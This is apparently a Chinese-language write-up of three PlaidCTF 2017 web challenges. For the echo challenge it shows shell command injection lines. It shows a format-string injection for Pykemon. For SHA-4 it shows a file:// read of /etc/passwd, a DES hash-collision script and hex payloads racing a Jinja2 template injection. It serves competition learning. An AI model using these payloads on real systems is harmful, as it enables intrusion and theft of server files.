PlaidCTF 2017 web writeup

原文我首发在freebuff上
http://www.freebuf.com/articles/web/133336.html

稍微整理下pctf2017的web writeup,各种假web题,有心的人一定能感受到这些年国外的ctf对于web题目的态度

只可惜有道很有趣的游戏题完全无从下手,也找不到相关的wp,很可惜

echo

上来时flask的代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from flask import render_template, flash, redirect, request, send_from_directory, url_for
import uuid
import os
import subprocess
import random
cwd = os.getcwd()
tmp_path = "/tmp/echo/"
serve_dir = "audio/"
docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"
MAX_TWEETS = 4
MAX_TWEET_LEN = 140
from flask import Flask
app = Flask(__name__)
flag = "PCTF{XXXXXXX...XXXXXXXX}"
if not os.path.exists(tmp_path):
os.makedirs(tmp_path)
def process_flag (outfile):
with open(outfile,'w') as f:
for x in flag:
c = 0
towrite = ''
for i in range(65000 - 1):
k = random.randint(0,127)
c = c ^ k
towrite += chr(k)
f.write(towrite + chr(c ^ ord(x)))
return
def process_audio (path, prefix, n):
target_path = serve_dir + prefix
if not os.path.exists(target_path):
os.makedirs(target_path)
for i in range(n):
st = os.stat(path + str(i+1) + ".wav")
if st.st_size < 5242880:
subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav",
out_path=target_path + str(i+1) + ".wav").split())
@app.route('/audio/<path:path>')
def static_file(path):
return send_from_directory('audio', path)
@app.route("/listen",methods=['GET', 'POST'])
def listen_tweets():
n = int(request.args['n'])
my_uuid = request.args['my_uuid']
if n > MAX_TWEETS:
return "ERR: More than MAX_TWEETS"
afiles = [my_uuid + "/" + str(i+1) + ".wav" for i in range(n)]
return render_template('listen.html', afiles = afiles)
@app.route("/",methods=['GET', 'POST'])
def read_tweets():
t1 = request.args.get('tweet_1')
if t1:
tweets = []
for i in range(MAX_TWEETS):
t = request.args.get('tweet_' + str(i+1))
if len(t) > MAX_TWEET_LEN:
return "ERR: Violation of max tween length"
if not t:
break
tweets.append(t)
my_uuid = uuid.uuid4().hex
my_path = tmp_path + my_uuid + "/"
if not os.path.exists(my_path):
os.makedirs(my_path)
with open(my_path + "input" ,"w") as f:
f.write('\n'.join(tweets))
process_flag(my_path + "flag")
out_path = my_path + "out/"
if not os.path.exists(out_path):
os.makedirs(out_path)
subprocess.call(docker_cmd.format(path=my_path).split())
process_audio(out_path, my_uuid + '/', len(tweets))
return redirect(url_for('.listen_tweets', my_uuid=my_uuid, n=len(tweets)))
else:
return render_template('form.html')
if __name__ == "__main__":
app.run(threaded=True)

通读整个代码,最开始可能都会把目光放到ffmpeg上来,事实上,整个站的功能几乎都是围绕音频的,这里也不存在以前的那个cve,而ffmpeg的作用后面再提

这里的关键信息是

1
docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"

这里的docker其实是可以下载到的,pull下来,看看run.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
from subprocess import call
import signal
import os
def handler(signum, frame):
os._exit(-1)
signal.signal(signal.SIGALRM, handler)
signal.alarm(30)
INPUT_FILE="/share/input"
OUTPUT_PATH="/share/out/"
def just_saying (fname):
with open(fname) as f:
lines = f.readlines()
i=0
for l in lines:
i += 1
if i == 5:
break
l = l.strip()
# Do TTS into mp3 file into output path
call(["sh","-c",
"espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])
def main():
just_saying(INPUT_FILE)
if __name__ == "__main__":
main()

image_1becp0s2th7n1iamvhh17tj14j29.png-16kB

主要问题在于这里,我们可以通过闭合引号,来执行任意命令。

我们重新看看题目的流程

我们输入字符串->tweets->闭合字符串执行命令->返回判断大小->判断通过经过ffmpeg转化->获取返回音频。

也就是说,我们首先无法获得flag文件的内容,因为太长了,其次我们不能直接获取返回,因为ffmpeg会转化内容为wav,如果输入不是wav,那么就会失败。

最后,我们想了办法通过写入python代码,解flag为正确flag,然后通过espeak获取返回音频。

1
2
3
4
5
";printf "f=open('/share/flag')\ns=''\nwhile 1:\t\n\tc=0 \n\tfor j in range(65000):\n">/share/b.py;"
";printf "\t\th=f.read(1)\n\t\tif h!='':\n\t\t\tc^=ord(h)\n\t\telse:\n\t\t\tprint len(s)\n\t\t\texit()\n\ts+=chr(c)">>/share/b.py;"
";espeak -w /share/out/1.wav $(python /share/b.py);"
1
PCTF{L15st3n_T0__reee_reeeeee_reee_la}

Pykemon

仍然是flask的代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from random import randint
import json
class Pykemon(object):
pykemon = [
[100, 'Pydiot', 'Pydiot','images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'],
[90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'],
[80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'],
[70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png','Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'],
[60, 'Pyduck', 'Pyduck', 'images/pyduck.png','Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'],
[50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png','When this Pykamon sings, it never pauses to breathe.'],
[40, 'Pykachu', 'Pykachu', 'images/pykachu.png','This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'],
[30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png','Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'],
[20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png','Pyrodactyl is a Pykamon from the age of dinosaurs'],
[10, 'Pytwo', 'Pytwo', 'images/pytwo.png','Pytwo is a Pykamon created by genetic manipulation'],
[0, 'FLAG', 'FLAG','images/flag.png', 'PCTF{XXXXX}']
]
def __init__(self, name=None, hp=None):
pykemon = Pykemon.pykemon
if not name:
i = randint(0,10)
else:
count = 0
for p in pykemon:
if name in p:
i = count
count += 1
self.name = pykemon[i][2]
self.nickname = pykemon[i][3]
self.sprite = pykemon[i][4]
self.description = pykemon[i][5]
self.hp = hp
if not hp:
self.hp = randint(1,100)
self.rarity = pykemon[i][0]
self.pid = self.name + str(self.hp)
class Room(object):
def __init__(self):
self.rid = 0
self.pykemon_count = randint(5,15)
self.pykemon = []
if not self.pykemon_count:
return
while len(self.pykemon) < self.pykemon_count:
p = Pykemon()
self.pykemon.append(p.__dict__)
return
class Map(object):
def __init__(self):
self.size = 10

flag是和其他的宠物小精灵在一个列表里,但是本身调用不到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from flask import Flask, request, session, render_template, render_template_string
from random import randint
from pykemon import *
import json
import os
import re
app = Flask(__name__, static_url_path="", static_folder="static")
app.secret_key = 'XXXXXXXXX'
class PageTemplate(object):
def __init__(self, template):
self.template = template
@app.route('/')
def index():
r = Room()
balls = 10
session['room'] = r.__dict__
session['caught'] = {'pykemon': list()}
session['balls'] = balls
for pykemon in r.pykemon:
print pykemon
print session['caught']
return render_template('index.html', pykemon=r.pykemon, balls=balls)
@app.route('/catch/', methods=['POST'])
def pcatch():
name = request.form['name']
if not name:
return 'Error'
balls = session.get('balls')
balls -= 1
if balls < 0:
return "GAME OVER"
session['balls'] = balls
p = check(name, 'room')
if not p:
return "Error: trying to catch a pykemon that doesn't exist"
r = session.get('room')
for pykemon in r['pykemon']:
if pykemon['pid'] == name:
r['pykemon'].remove(pykemon)
print pykemon, r['pykemon']
session['room'] = r
s = session.get('caught')
if p.rarity > 90:
s['pykemon'].append(p.__dict__)
session['caught'] = s
if r['pykemon']:
return p.name + ' has been caught!' + str(balls)
else:
return p.name + ' has been caught!' + str(balls) + '!GAME OVER!'
elif p.rarity > 0:
chance = (randint(1,90) + p.rarity) / 100
if chance > 0:
s['pykemon'].append(p.__dict__)
session['caught'] = s
if r['pykemon']:
return p.name + ' has been caught!' + str(balls)
else:
return p.name + ' has been caught!' + str(balls) + '!GAME OVER!'
if r['pykemon']:
return p.name + ' got away!'+ str(balls)
else:
return p.name + ' got away!'+ str(balls) + '!GAME OVER!'
@app.route('/rename/', methods=['POST'])
def rename():
name = request.form['name']
new_name = request.form['new_name']
if not name:
return 'Error'
p = check(name, 'caught')
if not p:
return "Error: trying to name a pykemon you haven't caught!"
r = session.get('room')
s = session.get('caught')
for pykemon in s['pykemon']:
if pykemon['pid'] == name:
pykemon['nickname'] = new_name
session['caught'] = s
print session['caught']
return "Successfully renamed to:\n" + new_name.format(p)
return "Error: something went wrong"
def check(name, prop):
s = session.get(prop)
if 'pykemon' in s.keys():
for pykemon in s['pykemon']:
if pykemon['pid'] == name:
return Pykemon(pykemon['name'], pykemon['hp'])
return None
@app.route('/buy/', methods=['POST'])
def buy():
balls = session.get('balls') + 1
if balls < 0:
return "GAME OVER"
session['balls'] = balls
return str(balls)
@app.route('/caught/', methods=['POST'])
def caught():
pykemons = session.get('caught')
print pykemons
if len(pykemons['pykemon']):
result = "<ul>"
for p in pykemons['pykemon']:
result += "<img src="+p['sprite']+" width=32px height=32px><strong>"+p['nickname']+"</strong>: "+p['description']+"<br/>"
result += "</ul>"
return result
return "You have not caught any Pykemons"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)

代码中有个关键的地方

image_1bed3lqm8b1q1vjc1bl067huo1m.png-96kB

python的格式化字符串漏洞,漏洞就不多说了

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

image_1bed3qtjt1udd6pf1omd6d21osv13.png-36kB

image_1bed3r714do31nbp129fgce19je1g.png-37.7kB

SHA-4

分享一份国外的wp
https://pequalsnp-team.github.io/writeups/SHA4

1
2
3
Web - 300 Points
I heard SHA-1 is broken, so I think it’s probably time we move to SHA-4.

首先我们能发现最下面有个请求url的功能,存在本地文件包含漏洞,可以读取本地的任何。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
ntp:x:111:115::/home/ntp:/bin/false
ubuntu:x:1000:1000::/home/ubuntu:

关于linux信息泄露的问题我就不多聊了

稍微试试发现可以读到apache的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
url=file:///etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerName sha4
WSGIDaemonProcess sha4 user=www-data group=www-data threads=8 request-timeout=10
WSGIScriptAlias / /var/www/sha4/sha4.wsgi
<directory /var/www/sha4>
WSGIProcessGroup sha4
WSGIApplicationGroup %{GLOBAL}
WSGIScriptReloading On
Order deny,allow
Allow from all
</directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

找到了web目录/var/www/sha4/

读到server.py和sha4.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sha4.py
from Crypto.Cipher import DES
import struct
import string
def seven_to_eight(x):
[val] = struct.unpack("Q", x+"\x00")
out = 0
mask = 0b1111111
for shift in xrange(8):
out |= (val & (mask<<(7*shift)))<<shift
return struct.pack("Q", out)
def unpad(x):
#split up into 7 byte chunks
length = struct.pack("Q", len(x))
sevens = [x[i:i+7].ljust(7, "\x00") for i in xrange(0,len(x),7)]
sevens.append(length[:7])
return map(seven_to_eight, sevens)
def hash(x):
h0 = "SHA4_IS_"
h1 = "DA_BEST!"
keys = unpad(x)
for key in keys:
h0 = DES.new(key).encrypt(h0)
h1 = DES.new(key).encrypt(h1)
return h0+h1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
server.py
from flask import Flask, render_template, request, render_template_string
from pyasn1.codec.ber.decoder import decode
from pyasn1.type.univ import OctetString
from urllib2 import urlopen
from sha4 import hash
import string
app = Flask(__name__)
bad = """<h2>yo that comment was bad, we couldn't parse it</h2>"""
unsafe = """<h2>that comment decoded to some weird junk</h2>"""
comment = """<h2>Thank you for your SHA-4 feedback. Your comment, %s, is very important to us</h2>"""
def is_unsafe(s):
for c in s:
if c not in (string.ascii_letters + string.digits + " ,.:()?!-_'+=[]\t\n<>"):
return True
return False
@app.route("/")
def index():
return render_template("index.html")
@app.route("/comments", methods=['POST'])
def comments():
try:
encoded = request.form['comment']
encoded.replace("\n","\r")
ber = encoded.decode("hex")
except TypeError:
return render_template_string(bad)
f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex")
out_text = str(decode(ber))
open(f, "w").write(out_text)
if is_unsafe(out_text):
return render_template_string(unsafe)
commentt = comment % open(f).read()
return render_template_string(commentt, comment=out_text.replace("\n","<br/>"))
@app.route("/upload", methods=['POST'])
def upload():
try:
comment = urlopen(request.form['url']).read(1024*1024)
open("/var/tmp/comments/%s.file"%hash(comment).encode("hex"), "w").write(comment)
return comment
except:
return render_template_string(bad)
if __name__ == "__main__":
app.run()

核心代码是下面这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try:
encoded = request.form['comment']
encoded.replace("\n","\r")
ber = encoded.decode("hex")
except TypeError:
return render_template_string(bad)
f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex")
out_text = str(decode(ber))
open(f, "w").write(out_text)
if is_unsafe(out_text):
return render_template_string(unsafe)
commentt = comment % open(f).read()
return render_template_string(commentt, comment=out_text.replace("\n","<br/>"))

上面的代码主要做了下面几步

  • 对post进来的数据解hex
  • 对输入做sha4计算
  • 把输出作为文件名输入到/bar/tmp/comments/<hash>.file
  • 解输入,将结果写入文件
  • 判断有没有不安全的字符
  • 判断通过加载模板

纵观上面的流程,如果我们先把一个python的反弹shell写入comments下的某个文件内,然后利用模板注入注入

1
{{ config.from_pyfile('/var/tmp/comments/<hash>.file') }}

就可以执行任意命令,但这就意味着会包含符
号,无法通过unsafe函数。

上面的具体可以看这篇文章
https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/

image_1bekqkggrhpa1od1101o18s29g19.png-49.4kB

从代码里很容易发现一个问题,为什么out_text变量中本来就有内容了,在判断之后,还要从文件中读取呢,这一定是为了漏洞可解而故意的。

但如果我们可以在判断is_unsafe成功后,通过竞争写入新的内容,就可以成功的构造模板注入了。

那么如果想要条件成立,我们需要有两个输入不相同,但是hash相同的输入。

我们关注下hash函数

1
2
3
4
5
6
7
8
def hash(x):
h0 = "SHA4_IS_"
h1 = "DA_BEST!"
keys = unpad(x)
for key in keys:
h0 = DES.new(key).encrypt(h0)
h1 = DES.new(key).encrypt(h1)
return h0+h1

这里upad会把7个8bit bytes转化为8个7bit byte。

而DES本身的加密方式并不适用所有64位,它忽略每个字节的lsb,这就意味我们可以通过一些方式来找到2个相同hash的payload

只需要碰撞出我们需要的3个被禁止的符号就够了

1
{}/

payload

1
2
3
4
5
6
7
8
9
10
11
def char_position_collision(char):
for j in xrange(7):
m1 = "a"*j + char
for i in xrange(0,256):
m2 = "a"*j+chr(i)
if m1 != m2 and hash(m1) == hash(m2):
print(m1,m2)
break
char_position_collision("{")
char_position_collision("}")
char_position_collision("/")

贴上完整的计算payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from sha4 import hash
from pyasn1.codec.ber.encoder import encode
from pyasn1.codec.ber.decoder import decode
from pyasn1.type.univ import OctetString
n = 2 # number of extra char added by ASN.1 at the start
content = "a{{config.from_pyfile( \"../../tmp/comments/dd31b4dc454c6ec7e01476e02f8eeac4.file\") }}aaaa"
# character to replace at their position for collision
replace = {
'{':'z;[ks\x7fy',
'}':'|=]muy\x7f',
'/':".o\x0f?'+-"
}
sevens = [content[i:i+7].ljust(7, "\x00") for i in xrange(0,len(content),7)]
string = ""
for s in sevens:
for i in xrange(len(s)):
c = s[i]
if c in replace:
string += replace[c][(i+n)%7]
else:
string += c
#MEGA FIX
string = string[:-n]
print(repr(content))
print(repr(string))
#'a{{config.from_pyfile( "../../tmp/comments/dd31b4dc454c6ec7e01476e02f8eeac4.file") }}aaaa'
#'aksconfig.from_pyfile( ".....?tmp.comments\x0fdd31b4dc454c6ec7e01476e02f8eeac4.file") =]aaaa'
asnc = encode(OctetString(content))
asns = encode(OctetString(string))
# (OctetString(tagSet=TagSet((), Tag(tagClass=0, tagFormat=0, tagId=4)), hexValue='616b73636f6e6669672e66726f6d5f707966696c652820222e2e2e2e2e3f746d702e636f6d6d656e74730f64643331623464633435346336656337653031343736653032663865656163342e66696c652229203d5d61616161'), '')
# (OctetString('a{{config.from_pyfile( "../../tmp/comments/dd31b4dc454c6ec7e01476e02f8eeac4.file") }}aaaa', tagSet=TagSet((), Tag(tagClass=0, tagFormat=0, tagId=4))), '')
assert(hash(asnc) == hash(asns))
print("YUP")

我们找到了2个payload,

1
2
3
0459617b7b636f6e6669672e66726f6d5f707966696c652820222e2e2f2e2e2f746d702f636f6d6d656e74732f64643331623464633435346336656337653031343736653032663865656163342e66696c652229207d7d61616161
0459616b73636f6e6669672e66726f6d5f707966696c652820222e2e2e2e2e3f746d702e636f6d6d656e74730f64643331623464633435346336656337653031343736653032663865656163342e66696c652229203d5d61616161

剩下的就是循环请求,等待shell反弹了

文章目录
  1. 1. echo
  2. 2. Pykemon
  3. 3. SHA-4
|